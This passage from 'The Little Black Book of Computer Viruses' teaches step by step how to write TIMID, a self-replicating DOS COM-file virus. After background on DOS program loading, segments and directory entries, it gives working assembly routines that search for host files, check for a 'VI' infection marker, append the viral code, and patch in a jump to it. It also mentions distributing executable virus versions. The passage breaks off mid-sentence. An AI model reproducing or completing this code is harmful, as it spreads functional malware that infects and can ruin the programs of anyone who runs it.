known as TASM. It goes for about $100 too. Thirdly, there is A86,
which is shareware, and available on many bulletin board systems
throughout the country. You can get a copy of it for free by calling
up one of these systems and downloading it to your computer with
a modem. Alternatively, a number of software houses make it
available for about $5 through the mail. However, if you plan to use
A86, the author demands that you pay him almost as much as if you
bought one of the other assemblers. He will hold you liable for
copyright violation if he can catch you. Personally, I don't think
A86 is worth the money. My favorite is TASM, because it does
exactly what you tell it to without trying to outsmart you. That is
exactly what you want when writing a virus. Anything less can put
bugs in you programs even when they are correctly written. Which
ever assembler you decide to use, though, the viruses in this book
19 The Little Black Book of Computer Viruses
can be compiled by all three. Batch files are provided to perform a
correct assembly with each assembler.
If you do not have an assembler, or the resources to buy
one, or the inclination to learn assembly language, the viruses are
provided in Intel hex format so they can be directly loaded onto
your computer in executable form. The program disk also contains
compiled, directly executable versions of each virus. However, if
you don't understand the assembly language source code, please
don't take these programs and run them. You're just asking for
trouble, like a four year old child with a loaded gun.
The Basics of the Computer Virus 20
Case Number
One:
A Simple COM File Infector
In this chapter we will discuss one of the simplest of all
computer viruses. This virus is very small, comprising only 264
bytes of machine language instructions. It is also fairly safe, be
cause it has one of the simplest search routines possible. This virus,
which we will call TIMID, is designed to only infect COM files
which are in the currently logged directory on the computer. It does
not jump across directories or drives, if you don't call it from
another directory, so it can be easily contained. It is also harmless
because it contains no destructive code, and it tells you when it is
infecting a new file, so you will know where it is and where it has
gone. On the other hand, its extreme simplicity means that this is
not a very effective virus. It will not infect most files, and it can
easily be caught. Still, this virus will introduce all the essential
concepts necessary to write a virus, with a minimum of complexity
and a minimal risk to the experimenter. As such, it is an excellent
instructional tool.
Some DOS Basics
To understand the means by which the virus copies itself
from one program to another, we have to dig into the details of how
the operating system, DOS, loads a program into memory and
passes control to it. The virus must be designed so it's code gets
executed, rather than just the program it has attached itself to. Only
then can it reproduce. Then, it must be able to pass control back to
the host program, so the host can execute in its entirety as well.
When one enters the name of a program at the DOSprompt,
DOS begins looking for files with that name and an extent of
``COM''. If it finds one it will load the file into memory and execute
it. Otherwise DOS will look for files with the same name and an
extent of ``EXE'' to load and execute. If no EXE file is found, the
operating system will finally look for a file with the extent ``BAT''
to execute. Failing all three of these possibilities, DOS will display
the error message ``Bad command or file name.''
EXE and COM files are directly executable by the Central
Processing Unit. Of these two types of program files, COM files
are much simpler. They have a predefined segment format which
is built into the structure of DOS, while EXE files are designed to
handle a user defined segment format, typical of very large and
complicated programs. The COM file is a direct binary image of
what should be put into memory and executed by the CPU, but an
EXE file is not.
To execute a COM file, DOS must do some preparatory
work before giving that program control. Most importantly, DOS
controls and allocates memory usage in the computer. So first it
checks to see if there is enough room in memory to load the
program. If it can, DOS then allocates the memory required for the
program. This step is little more than an internal housekeeping
function. DOS simply records how much space it is making avail
able for such and such a program, so it won't try to load another
program on top of it later, or give memory space to the program
that would conflict with another program. Such a step is necessary
because more than one program may reside in memory at any given
time. For example, popup, memory resident programs can remain
in memory, and parent programs can load child programs into
memory, which execute and then return control to the parent.
Next, DOS builds a block of memory 256 bytes long
known as the Program Segment Prefix, or PSP. The PSP is a
remnant of an older operating system known as CP/M. CP/M was
popular in the late seventies and early eighties as an operating
system for microcomputers based on the 8080 and Z80 microproc
22 The Little Black Book of Computer Viruses
essors. In the CP/M world, 64 kilobytes was all the memory a
computer had. The lowest 256 bytes of that memory was reserved
for the operating system itself to store crucial data. For example,
location 5 in memory contained a jump instruction to get to the rest
of the operating system, which was stored in high memory, and its
location differed according to how much memory the computer
had. Thus, programs written for these machines would access the
operating system functions by calling location 5 in memory. When
PCDOS came along, it imitated CP/M because CP/M was very
popular, and many programs had been written to work with it. So
the PSP (and whole COM file concept) became a part of DOS. The
result is that a lot of the information stored in the PSP is of little
Offset Size Description
0 H 2 Int 20H Instruction
2 2 Address of Last allocated segment
4 1 Reserved, should be zero
5 5 Far call to DOS function dispatcher
A 4 Int 22H vector (Terminate program)
E 4 Int 23H vector (CtrlC handler)
12 4 Int 24H vector (Critical error handler)
16 22 Reserved
2C 2 Segment of DOS environment
2E 34 Reserved
50 3 Int 21H / RETF instruction
53 9 Reserved
5C 16 File Control Block 1
6C 20 File Control Block 2
80 128 Default DTA (command line at startup)
100 Beginning of COM program
Figure 2: Format of the Program Segment Prefix.
Case Number One: A Simple COM File Infector 23
use to a DOS programmer today. Some of it is useful though, as we
will see a little later.
Once the PSP is built, DOS takes the COM file stored on
disk and loads it into memory just above the PSP, starting at offset
100H. Once this is done, DOS is almost ready to pass control to the
program. Before it does, though, it must set up the registers in the
CPU to certain predetermined values. First, the segment registers
must be set properly, or a COM program cannot run. Let's take a
look at the how's and why's of these segment registers.
In the 8088 microprocessor, all registers are 16 bit regis
ters. The problem is that a 16 bit register will only allow one to
address 64 kilobytes of memory. If you want to use more memory,
you need more bits to address it. The 8088 can address up to one
megabyte of memory using a process known as segmentation. It
uses two registers to create a physical memory address that is 20
bits long instead of just 16. Such a register pair consists of a segment
register, which contains the most significant bits of the address, and
an offset register, which contains the least significant bits. The
segment register points to a 16 byte block of memory, and the offset
register tells how many bytes to add to the start of the 16 byte block
to locate the desired byte in memory. For example, if the ds register
is set to 1275 Hex and the bx register is set to 457 Hex, then the
physical 20 bit address of the byte ds:[bx] is
1275H x 10H = 12750H
+ 457H
12BA7H
No offset should ever have to be larger than 15, but one
normally uses values up to the full 64 kilobyte range of the offset
register. This leads to the possibility of writing a single physical
address in several different ways. For example, setting ds = 12BA
Hex and bx = 7 would produce the same physical address 12BA7
Hex as in the example above. The proper choice is simply whatever
is convenient for the programmer. However, it is standard program
ming practice to set the segment registers and leave them alone as
much as possible, using offsets to range through as much data and
code as one can (64 kilobytes if necessary).
24 The Little Black Book of Computer Viruses
The 8088 has four segment registers, cs, ds, ss and es,
which stand for Code Segment, Data Segment, Stack Segment, and
Extra Segment, respectively. They each serve different purposes.
The cs register specifies the 64K segment where the actual program
instructions which are executed by the CPU are located. The Data
Segment is used to specify a segment to put the program's data in,
and the Stack Segment specifies where the program's stack is
located. The es register is available as an extra segment register for
the programmer's use. It might typically be used to point to the
video memory segment, for writing data directly to video, etc.
COM files are designed to operate with a very simple, but
limited segment structure. namely they have one segment,
cs=ds=es=ss. All data is stored in the same segment as the program
code itself, and the stack shares this segment. Since any given
segment is 64 kilobytes long, a COM program can use at most 64
kilobytes for all of its code, data and stack. When PC's were first
introduced, everybody was used to writing programs limited to 64
kilobytes, and that seemed like a lot of memory. However, today it
is not uncommon to find programs that require several hundred
kilobytes of code, and maybe as much data. Such programs must
use a more complex segmentation scheme than the COM file format
allows. The EXE file structure is designed to handle that complex
ity. The drawback with the EXE file is that the program code which
is stored on disk must be modified significantly before it can be
executed by the CPU. DOS does that at load time, and it is
completely transparent to the user, but a virus that attaches to EXE
files must not upset DOS during this modification process, or it
won't work. A COM program doesn't require this modification
process because it uses only one segment for everything. This
makes it possible to store a straight binary image of the code to be
executed on disk (the COM file). When it is time to run the program,
DOS only needs to set up the segment registers properly and
execute it.
The PSP is set up at the beginning of the segment allocated
for the COM file, i.e. at offset 0. DOS picks the segment based on
what free memory is available, and puts the PSP at the very start of
that segment. The COM file itself is loaded at offset 100 Hex, just
after the PSP. Once everything is ready, DOS transfers control to
Case Number One: A Simple COM File Infector 25
the beginning of the program by jumping to the offset 100 Hex in
the code segment where the program was loaded. From there on,
the program runs, and it accesses DOS occasionally, as it sees fit,
to perform various I/O functions, like reading and writing to disk.
When the program is done, it transfers control back to DOS, and
DOS releases the memory reserved for that program and gives the
user another command line prompt.
An Outline for a Virus
In order for a virus to reside in a COM file, it must get
control passed to its code at some point during the execution of the
program. It is conceivable that a virus could examine a COM file
and determine how it might wrest control from the program at any
point during its execution. Such an analysis would be very difficult,
though, for the general case, and the resulting virus would be
anything but simple. By far the easiest point to take control is right
at the very beginning, when DOS jumps to the start of the program.
Uninitialized
Data
Stack
Area
COM File
Image
PSP
cs=ds=es=ss
ip
sp
0H
100H
FFFFH
Figure 3: Memory map just before executing a COM file.
26 The Little Black Book of Computer Viruses
At this time, the virus is completely free to use any space above the
image of the COM file which was loaded into memory by DOS.
Since the program itself has not yet executed, it cannot have set up
data anywhere in memory, or moved the stack, so this is a very safe
time for the virus to operate. At this stage, it isn't too difficult a task
to make sure that the virus will not interfere with the host program
to damage it or render it inoperative. Once the host program begins
to execute, almost anything can happen, though, and the virus's job
becomes much more difficult.
To gain control at startup time, a virus infecting a COM
file must replace the first few bytes in the COM file with a jump to
the virus code, which can be appended at the end of the COM file.
Then, when the COM file is executed, it jumps to the virus, which
goes about looking for more files to infect, and infecting them.
When the virus is ready, it can return control to the host program.
The problem in doing this is that the virus already replaced the first
few bytes of the host program with its own code. Thus it must
restore those bytes, and then jump back to offset 100 Hex, where
the original program begins.
Here, then, is the basic plan for a simple viral infection of
a COM file. Imagine a virus sitting in memory, which has just been
Uninfected
Host
COM File
Infected
Host
COM File
TIMID
VIRUS
mov dx,257H jmp 154AH
mov dx,257H
BEFORE AFTER
100H 100H
Figure 4: Replacing the first bytes in a COM file.
Case Number One: A Simple COM File Infector 27
activated. It goes out and infects another COM file with itself. Step
by step, it might work like this:
1. An infected COM file is loaded into memory and
executed. The viral code gets control first.
2. The virus in memory searches the disk to find a
suitable COM file to infect.
3. If a suitable file is found, the virus appends its own
code to the end of the file.
4. Next, it reads the first few bytes of the file into
memory, and writes them back out to the file in a
special data area within the virus' code. The new virus
will need these bytes when it executes.
5. Next the virus in memory writes a jump instruction to
the beginning of the file it is infecting, which will pass
control to the new virus when its host program is
executed.
6. Then the virus in memory takes the bytes which were
originally the first bytes in its host, and puts them back
(at offset 100H).
7. Finally, the viral code jumps to offset 100 Hex and
allows its host program to execute.
Ok. So let's develop a real virus with these specifications. We will
need both a search mechanism and a copy mechanism.
The Search Mechanism
To understand how a virus searches for new files to infect
on an IBM PC style computer operating under MSDOS or PC
DOS, it is important to understand how DOS stores files and
information about them. All of the information about every file on
disk is stored in two areas on disk, known as the directory and the
File Allocation Table, or FAT for short. The directory contains a 32
byte file descriptor record for each file. This descriptor record
contains the file's name and extent, its size, date and time of
creation, and the file attribute, which contains essential information
28 The Little Black Book of Computer Viruses
Two Second
Increments (029)
The Attribute Field
8 Bit 0
Archive Volume
label
System
Sub
directory
Hidden Read
only
Reserved
File Size
Time Date
Reserved
File Name Reserved
A
t
t
r
First
Cluster
10H
0 Byte 0FH
1FH
The Time Field
Hours (023) Minutes (059)
15 Bit 0
The Date Field
Year (Relative to 1980) Month (112) Day (131)
15 Bit 0
The Directory Entry
Figure 5: The directory entry record format.
Case Number One: A Simple COM File Infector 29
for the operating system about how to handle the file. The FAT is a
map of the entire disk, which simply informs the operating system
which areas are occupied by which files.
Each disk has two FAT's, which are identical copies of each
other. The second is a backup, in case the first gets corrupted. On
the other hand, a disk may have many directories. One directory,
known as the root directory, is present on every disk, but the root
may have multiple subdirectories, nested one inside of another to
form a tree structure. These subdirectories can be created, used, and
removed by the user at will. Thus, the tree structure can be as simple
or as complex as the user has made it.
Both the FAT and the root directory are located in a fixed
area of the disk, reserved especially for them. Subdirectories are
stored just like other files with the file attribute set to indicate that
this file is a directory. The operating system then handles this
subdirectory file in a completely different manner than other files
to make it look like a directory, and not just another file. The
subdirectory file simply consists of a sequence of 32 byte records
describing the files in that directory. It may contain a 32 byte record
with the attribute set to directory, which means that this file is a
subdirectory of a subdirectory.
The DOS operating system normally controls all access to
files and subdirectories. If one wants to read or write to a file, he
does not write a program that locates the correct directory on the
disk, reads the file descriptor records to find the right one, figure
out where the file is and read it. Instead of doing all of this work,
he simply gives DOS the directory and name of the file and asks it
to open the file. DOS does all the grunt work. This saves a lot of
time in writing and debugging programs. One simply does not have
to deal with the intricate details of managing files and interfacing
with the hardware.
DOS is told what to do using interrupt service routines
(ISR's). Interrupt 21H is the main DOS interrupt service routine
that we will use. To call an ISR, one simply sets up the required
CPU registers with whatever values the ISR needs to know what to
do, and calls the interrupt. For example, the code
30 The Little Black Book of Computer Viruses
mov ds,SEG FNAME ;ds:dx points to filename
mov dx,OFFSET FNAME
xor al,al ;al=0
mov ah,3DH ;DOS function 3D
int 21H ;go do it
opens a file whose name is stored in the memory location FNAME
in preparation for reading it into memory. This function tells DOS
to locate the file and prepare it for reading. The ``int 21H'' instruc
tion transfers control to DOS and lets it do its job. When DOS is
finished opening the file, control returns to the statement immedi
ately after the ``int 21H''. The register ah contains the function
number, which DOS uses to determine what you are asking it to do.
The other registers must be set up differently, depending on what
ah is, to convey more information to DOS about what it is supposed
to do. In the above example, the ds:dx register pair is used to point
to the memory location where the name of the file to open is stored.
The register al tells DOS to open the file for reading only.
All of the various DOS functions, including how to set up
all the registers, are detailed in many books on the subject. Peter
Norton's Programmer's Guide to the IBM PC is one of the better
ones, so if you don't have that information readily available, I
suggest you get a copy. Here we will only discuss the DOS
functions we need, as we need them. This will probably be enough
to get by. However, if you are going to write viruses of your own,
it is definitely worthwhile knowing about all of the various func
tions you can use, as well as the finer details of how they work and
what to watch out for.
To write a routine which searches for other files to infect,
we will use the DOS search functions. The people who wrote DOS
knew that many programs (not just viruses) require the ability to
look for files and operate on them if any of the required type are
found. Thus, they incorporated a pair of searching functions into
the interrupt 21H handler, called Search First and Search Next.
These are some of the more complicated DOS functions, so they
require the user to do a fair amount of preparatory work before he
calls them. The first step is to set up an ASCIIZ string in memory
to specify the directory to search, and what files to search for. This
is simply an array of bytes terminated by a null byte (0). DOS can
Case Number One: A Simple COM File Infector 31
search and report on either all the files in a directory or a subset of
files which the user can specify by file attribute and by specifying
a file name using the wildcard characters ``?'' and ``*'', which you
should be familiar with from executing commands like copy *.* a:
and dir a???_100.* from the command line in DOS. (If not, a basic
book on DOS will explain this syntax.) For example, the ASCIIZ
string
DB '\system\hyper.*',0
will set up the search function to search for all files with the name
hyper, and any possible extent, in the subdirectory named system.
DOS might find files like hyper.c, hyper.prn, hyper.exe, etc.
After setting up this ASCIIZ string, one must set the
registers ds and dx up to the segment and offset of this ASCIIZ
string in memory. Register cl must be set to a file attribute mask
which will tell DOS which file attributes to allow in the search, and
which to exclude. The logic behind this attribute mask is somewhat
complex, so you might want to study it in detail in Appendix G.
Finally, to call the Search First function, one must set ah = 4E Hex.
If the search first function is successful, it returns with
register al = 0, and it formats 43 bytes of data in the Disk Transfer
Area, or DTA. This data provides the program doing the search with
the name of the file which DOS just found, its attribute, its size and
its date of creation. Some of the data reported in the DTA is also
used by DOS for performing the Search Next function. If the search
cannot find a matching file, DOS returns al nonzero, with no data
in the DTA. Since the calling program knows the address of the
DTA, it can go examine that area for the file information after DOS
has stored it there.
To see how this function works more clearly, let us consider
an example. Suppose we want to find all the files in the currently
logged directory with an extent ``COM'', including hidden and
system files. The assembly language code to do the Search First
would look like this (assuming ds is already set up correctly):
SRCH_FIRST:
mov dx,OFFSET COMFILE;set offset of asciiz string
mov cl,00000110B ;set hidden and system attributes
32 The Little Black Book of Computer Viruses
mov ah,4EH ;search first function
int 21H ;call DOS
or al,al ;check to see if successful
jnz NOFILE ;go handle no file found condition
FOUND: ;come here if file found
COMFILE DB '*.COM',0
If this routine executed successfully, the DTA might look like this:
03 3F 3F 3F 3F 3F 3F 3F3F 43 4F 4D 06 18 00 00 .????????COM....
00 00 00 00 00 00 16 9830 13 BC 62 00 00 43 4F ........0..b..CO
4D 4D 41 4E 44 2E 43 4F4D 00 00 00 00 00 00 00 MMAND.COM.......
when the program reaches the label FOUND. In this case the search
found the file COMMAND.COM.
In comparison with the Search First function, the Search
Next is easy, because all of the data has already been set up by the
Search First. Just set ah = 4F hex and call DOS interrupt 21H:
mov ah,4FH ;search next function
int 21H ;call DOS
or al,al ;see if a file was found
jnz NOFILE ;no, go handle no file found
FOUND2: ;else process the file
If another file is found the data in the DTA will be updated with the
new file name, and ah will be set to zero on return. If no more
matches are found, DOS will set ah to something besides zero on
return. Onemustbe careful here so the data in the DTA is not altered
between the call to Search First and later calls to Search Next,
because the Search Next expects the data from the last search call
to be there.
Of course, the computer virus does not need to search
through all of the COM files in a directory. It must find one that
will be suitable to infect, and then infect it. Let us imagine a
procedure FILE_OK. Given the name of a file on disk, it will
determine whether that file is good to infect or not. If it is infectable,
FILE_OK will return with the zero flag, z, set, otherwise it will
return with the zero flag reset. We can use this flag to determine
whether to continue searching for other files, or whether we should
go infect the one we have found.
Case Number One: A Simple COM File Infector 33
If our search mechanism as a whole also uses the z flag to
tell the main controlling program that it has found a file to infect
(z=file found, nz=no file found) then our completed search function
can be written like this:
FIND_FILE:
mov dx,OFFSET COMFILE
mov al,00000110B
mov ah,4EH ;perform search first
int 21H
FF_LOOP:
or al,al ;any possibilities found?
jnz FF_DONE ;no exit with z reset
call FILE_OK ;yes, go check if we can infect it
jz FF_DONE ;yes exit with z set
mov ah,4FH ;no search for another file
int 21H
jmp FF_LOOP ;go back up and see what happened
FF_DONE:
ret ;return to main virus control routine
Figure 6: Logic of the file search routine.
Setup Search Spec
(*.COM, Hidden, System OK)
Search for First
Matching File
File Found?
No Exit
No File
File OK?
Yes
Search for
Next File
Exit, File Found
Yes
No
34 The Little Black Book of Computer Viruses
Study this search routine carefully. It is important to un
derstand if you want to write computer viruses, and more generally,
it is useful in a wide variety of programs of all kinds.
Of course, for our virus to work correctly, we have to write
the FILE_OK function which determines whether a file should be
infected or left alone. This function is particularly important to the
success or failure of the virus, because it tells the virus when and
where to move. If it tells the virus to infect a program which does
not have room for the virus, then the newly infected program may
be inadvertently ruined. Or if FILE_OK cannot tell whether a
program has already been infected, it will tell the virus to go ahead
and infect the same file again and again and again. Then the file
will grow larger and larger, until there is no more room for an
infection. For example, the routine
FILE_OK:
xor al,al
ret
simply sets the z flag and returns. If our search routine used this
subroutine, it would always stop and say that the first COM file it
found was the one to infect. The result would be that the first COM
program in a directory would be the only program that would ever
get infected. It would just keep getting infected again and again,
and growing in size, until it exceeded its size limit and crashed. So
although the above example of FILE_OK might enable the virus to
infect at least one file, it would not work well enough for the virus
to be able to start jumping from file to file.
A good FILE_OK routine must perform two checks: (1) it
must check a file to see if it is too long to attach the virus to, and
(2) it must check to see if the virus is already there. If the file is
short enough, and the virus is not present, FILE_OK should return
a ``go ahead'' to the search routine.
On entry to FILE_OK, the search function has set up the
DTAwith 43 bytes of information about the file to check, including
its size and its name. Suppose that we have defined two labels,
FSIZE and FNAME in the DTA to access the file size and file name
respectively. Then checking the file size to see if the virus will fit
is a simple matter. Since the file size of a COM file is always less
Case Number One: A Simple COM File Infector 35
than 64 kilobytes, we may load the size of the file we want to infect
into the ax register:
mov ax,WORD PTR [FSIZE]
Next we add the number of bytes the virus will have to add
to this file, plus 100H. The 100H is needed because DOS will also
allocate room for the PSP, and load the program file at offset 100H.
To determine the number of bytes the virus will need automatically,
we simply put a label VIRUS at the start of the virus code we are
writing and a label END_VIRUS at the end of it, and take the
difference. If we add these bytes to ax, and ax overflows, then the
file which the search routine has found is too large to permit a
successful infection. An overflow will cause the carry flag c to be
set, so the file size check will look something like this:
FILE_OK:
mov ax,WORD PTR [FSIZE]
add ax,OFFSET END_VIRUS OFFSET VIRUS + 100H
jc BAD_FILE
.
.
.
GOOD_FILE:
xor al,al
ret
BAD_FILE:
mov al,1
or al,al
ret
This routine will suffice to prevent the virus from infecting any file
that is too large.
The next problem that the FILE_OK routine must deal with
is how to avoid infecting a file that has already been infected. This
can only be accomplished if the virus has some understanding of
how it goes about infecting a file. In the TIMID virus, we have
decided to replace the first few bytes of the host program with a
jump to the viral code. Thus, the FILE_OK procedure can go out
and read the file which is a candidate for infection to determine
whether its first instruction is a jump. If it isn't, then the virus
obviously has not infected that file yet. There are two kinds of jump
36 The Little Black Book of Computer Viruses
instructions which might be encountered in a COM file, known as
a near jump and a short jump. The virus we create here will always
use a near jump to gain control when the program starts. Since a
short jump only has a range of 128 bytes, we could not use it to
infect a COM file larger than 128 bytes. The near jump allows a
range of 64 kilobytes. Thus it can always be used to jump from the
beginning of a COM file to the virus, at the end of the program, no
matter how big the COM file is (as long as it is really a valid COM
file). A near jump is represented in machine language with the byte
E9 Hex, followed by two bytes which tell the CPU how far to jump.
Thus, our first test to see if infection has already occurred is to check
to see if the first byte in the file is E9 Hex. If it is anything else, the
virus is clear to go ahead and infect.
Looking for E9Hex is not enough though. ManyCOM files
are designed so the first instruction is a jump to begin with. Thus
the virus may encounter files which start with an E9 Hex even
though they have never been infected. The virus cannot assume that
a file has been infected just because it starts with an E9. It must go
farther. It must have a way of telling whether a file has been infected
even when it does start with E9. If we do not incorporate this extra
step into the FILE_OK routine, the virus will pass by many good
COM files which it could infect because it thinks they have already
been infected. While failure to incorporate such a feature into
FILE_OK will not cause the virus to fail, it will limit its function
ality.
One way to make this test simple and yet very reliable is
to change a couple more bytes than necessary at the beginning of
the host program. The near jump will require three bytes, so we
might take two more, and encode them in a unique way so the virus
can be pretty sure the file is infected if those bytes are properly
encoded. The simplest scheme is to just set them to some fixed
value. We'll use the two characters ``VI'' here. Thus, when a file
begins with a near jump followed by the bytes ``V''=56H and
``I''=49H, we can be almost positive that the virus is there, and
otherwise it is not. Granted, once in a great while the virus will
discover a COM file which is set up with a jump followed by ``VI''
even though it hasn't been infected. The chances of this occurring
Case Number One: A Simple COM File Infector 37
are so small, though, that it will be no great loss if the virus fails to
infect this rare one file in a million. It will infect everything else.
To read the first five bytes of the file, we open it with DOS
Interrupt 21H function 3D Hex. This function requires us to set
ds:dx to point to the file name (FNAME) and to specify the access
rights which we desire in the al register. In the FILE_OK routine
the virus only needs to read the file. Yet there we will try to open it
with read/write access, rather than readonly access. If the file
attribute is set to readonly, an attempt to open in read/write mode
will result in an error (which DOS signals by setting the carry flag
on return from INT 21H). This will allow the virus to detect
readonly files and avoid them, since the virus must write to a file
to infect it. It is much better to find out that the file is readonly
here, in the search routine, than to assume the file is good to infect
and then have the virus fail when it actually attempts infection.
Thus, when opening the file, we set al = 2 to tell DOS to open it in
read/write mode. If DOS opens the file successfully, it returns a file
handle in ax. This is just a number which DOS uses to refer to the
file in all future requests. The code to open the file looks like this:
mov ax,3D02H
mov dx,OFFSET FNAME
int 21H
jc BAD_FILE
Figure 7: The file handle and file pointer.
File Handle = 6
File Pointer =723
Program (RAM)
DOS (in RAM)
Physical File
(on disk)
723H
38 The Little Black Book of Computer Viruses
Once the file is open, the virus may perform the actual read
operation, DOS function 3F Hex. To read a file, one must set bx
equal to the file handle number and cx to the number of bytes to
read from the file. Also ds:dx must be set to the location in memory
where the data read from the file should be stored (which we will
call START_IMAGE). DOS stores an internal file pointer for each
open file which keeps track of where in the file DOS is going to do
its reading and writing from. The file pointer is just a four byte long
integer, which specifies which byte in the selected file a read or
write operation refers to. This file pointer starts out pointing to the
first byte in the file (file pointer = 0), and it is automatically
advanced by DOS as the file is read from or written to. Since it
starts at the beginning of the file, and the FILE_OK procedure must
read the first five bytes of the file, there is no need to touch the file
pointer right now. However, you should be aware that it is there,
hidden away by DOS. It is an essential part of any file reading and
writing we may want to do. When it comes time for the virus to
infect the file, it will have to modify this file pointer to grab a few
bytes here and put them there, etc. Doing that is much faster (and
hence, less noticeable) than reading a whole file into memory,
manipulating it in memory, and then writing it back to disk. For
now, though, the actual reading of the file is fairly simple. It looks
like this:
mov bx,ax ;put handle in bx
mov cx,5 ;prepare to read 5 bytes
mov dx,OFFSET START_IMAGE ;to START_IMAGE
mov ah,3FH
int 21H ;go do it
We will not worry about the possibility of an error in
reading five bytes here. The only possible error is that the file is not
long enough to read five bytes, and we are pretty safe in assuming
that most COM files will have more than four bytes in them.
Finally, to close the file, we use DOS function 3E Hex and
put the file handle in bx. Putting it all together, the FILE_OK
procedure looks like this:
FILE_OK:
mov dx,OFFSET FNAME ;first open the file
mov ax,3D02H ;r/w access open file
Case Number One: A Simple COM File Infector 39
int 21H
jc FOK_NZEND ;error opening file file can't be used
mov bx,ax ;put file handle in bx
push bx ;and save it on the stack
mov cx,5 ;read 5 bytes at the start of the program
mov dx,OFFSET START_IMAGE ;and store them here
mov ah,3FH ;DOS read function
int 21H
pop bx ;restore the file handle
mov ah,3EH
int 21H ;and close the file
mov ax,WORD PTR [FSIZE] ;get the file size of the host
add ax,OFFSET ENDVIRUS OFFSET VIRUS ;and add size of virus to it
jc FOK_NZEND ;c set if ax overflows (size > 64k)
cmp BYTE PTR [START_IMAGE],0E9H ;size okis first byte a near jmp?
jnz FOK_ZEND ;not near jmp, file must be ok, exit with z
cmp WORD PTR [START_IMAGE+3],4956H ;ok, is 'VI' in positions 3 & 4?
jnz FOK_ZEND ;no, file can be infected, return with Z set
FOK_NZEND:
mov al,1 ;we'd better not infect this file
or al,al ;so return with z reset
ret
FOK_ZEND:
xor al,al ;ok to infect, return with z set
ret
This completes our discussion of the search mechanism for the
virus.
The Copy Mechanism
After the virus finds a file to infect, it must carry out the
infection process. We have already briefly discussed how that is to
be accomplished, but now let's write the code that will actually do
it. We'll put all of this code into a routine called INFECT.
The code for INFECT is quite straightforward. First the
virus opens the file whose name is stored at FNAME in read/write
mode, just as it did when searching for a file, and it stores the file
handle in a data area called HANDLE. This time, however we want
to go to the end of the file and store the virus there. To do so, we
first move the file pointer using DOS function 42H. In calling
function 42H, the register bx must be set up with the file handle
number, and cx:dx must contain a 32 bit long integer telling where
to move the file pointer to. There are three different ways this
function can be used, as specified by the contents of the al register.
If al=0, the file pointer is set relative to the beginning of the file. If
al=1, it is incremented relative to the current location, and if al=2,
40 The Little Black Book of Computer Viruses
cx:dx is used as the offset from the end of the file. Since the first
thing the virus must do is place its code at the end of the COM file
it is attacking, it sets the file pointer to the end of the file. This is
easy. Set cx:dx=0, al=2 and call function 42H:
xor cx,cx
mov dx,cx
mov bx,WORD PTR [HANDLE]
mov ax,4202H
int 21H
With the file pointer in the right location, the virus can now
write itself out to disk at the end of this file. To do so, one simply
uses the DOS write function, 40 Hex. To use function 40H one must
set ds:dx to the location in memory where the data is stored that is
going to be written to disk. In this case that is the start of the virus.
Next, set cx to the number of bytes to write and bx to the file handle.
There is one problem here. Since the virus is going to be
attaching itself to COM files of all different sizes, the address of
the start of the virus code is not at some fixed location in memory.
Every file it is attached to will put it somewhere else in memory.
So the virus has to be smart enough to figure out where it is. To do
this we will employ a trick in the main control routine, and store
the offset of the viral code in a memory location named
VIR_START. Here we assume that this memory location has al
ready been properly initialized. Then the code to write the virus to
the end of the file it is attacking will simply look like this:
mov cx,OFFSET FINAL OFFSET VIRUS
mov bx,WORD PTR [HANDLE]
mov dx,WORD PTR [VIR_START]
mov ah,40H
int 21H
where VIRUS is a label identifying the start of the viral code and
FINAL is a label identifying the end of the code. OFFSET FINAL
OFFSET VIRUS is independent of the location of the virus in
memory.
Case Number One: A Simple COM File Infector 41
Now, with the main body of viral code appended to the end
of the COM file under attack, the virus must do some cleanup
work. First, it must move the first five bytes of the COM file to a
storage area in the viral code. Then it must put a jump instruction
plus the code letters 'VI'at the start of the COM file. Since we have
already read the first five bytes of the COM file in the search
routine, they are sitting ready and waiting for action at START_IM
AGE. We need only write them out to disk in the proper location.
Note that there must be two separate areas in the virus to store five
bytes of startup code. The active virus must have the data area
START_IMAGE to store data from files it wants to infect, but it
must also have another area, which we'll call START_CODE. This
contains the first five bytes of the file it is actually attached to.
Without START_CODE, the active virus will not be able to transfer
control to the host program it is attached to when it is done
executing.
To write the first five bytes of the file under attack, the virus
must take the five bytes at START_IMAGE, and store them where
START_CODE is located on disk. First, the virus sets the file
pointer to the location of START_CODE on disk. To find that
location, one must take the original file size (stored at FSIZE by
Figure 8: START_IMAGE and START_CODE.
Host 2
START_CODE
Virus
On Disk
Host 1
Virus
START_CODE
START_IMAGE
In Memory
42 The Little Black Book of Computer Viruses
the search routine), and add OFFSET START_CODE OFFSET
VIRUS to it, moving the file pointer with respect to the beginning
of the file:
xor cx,cx
mov dx,WORD PTR [FSIZE]
add dx,OFFSET START_CODE OFFSET VIRUS
mov bx,WORD PTR [HANDLE]
mov ax,4200H
int 21H
Next, the virus writes the five bytes at START_IMAGE out to the
file:
mov cx,5
mov bx,WORD PTR [HANDLE]
mov dx,OFFSET START_IMAGE
mov ah,40H
int 21H
The final step in infecting a file is to set up the first five
bytes of the file with a jump to the beginning of the virus code,
along with the identification letters ``VI''. To do this, first position
the file pointer to the beginning of the file:
xor cx,cx
mov dx,cx
mov bx,WORD PTR [HANDLE]
mov ax,4200H
int 21H
Next, wemust set up a data area in memorywith the correct
information to write to the beginning of the file. START_IMAGE
is a good place to set up these bytes since the data there is no longer
needed for anything. The first byte should be a near jump instruc
tion, E9 Hex:
mov BYTE PTR [START_IMAGE],0E9H
The next two bytes should be a word to tell the CPU how
many bytes to jump forward. This byte needs to be the original file
size of the host program, plus the number of bytes in the virus which
are before the start of the executable code (we will put some data
Case Number One: A Simple COM File Infector 43
there). We must also subtract 3 from this number because the
relative jump is always referenced to the current instruction pointer,
which will be pointing to 103H when the jump is actually executed.
Thus, the two bytes telling the program where to jump are set up
by
mov ax,WORD PTR [FSIZE]
add ax,OFFSET VIRUS_START OFFSET VIRUS 3
mov WORD PTR [START_IMAGE+1],ax
Finally set up the ID bytes 'VI' in our five byte data area,
mov WORD PTR [START_IMAGE+3],4956H ;'VI'
write the data to the start of the file, using the DOS write function,
mov cx,5
mov dx,OFFSET START_IMAGE
mov bx,WORD PTR [HANDLE]
mov ah,40H
int 21H
and then close the file using DOS,
mov ah,3EH
mov bx,WORD PTR [HANDLE]
int 21H
This completes the copy mechanism.
Data Storage for the Virus
One problem we must face in creating this virus is how to
locate data. Since all jumps and calls in a COM file are relative, we
needn't do anything fancy to account for the fact that the virus must
relocate itself as it copies itself from program to program. The
jumps and calls relocate themselves automatically. Handling the
data is not as easy. A data reference like
mov bx,WORD PTR [HANDLE]
44 The Little Black Book of Computer Viruses
refers to an absolute offset in the program segment labeled HAN
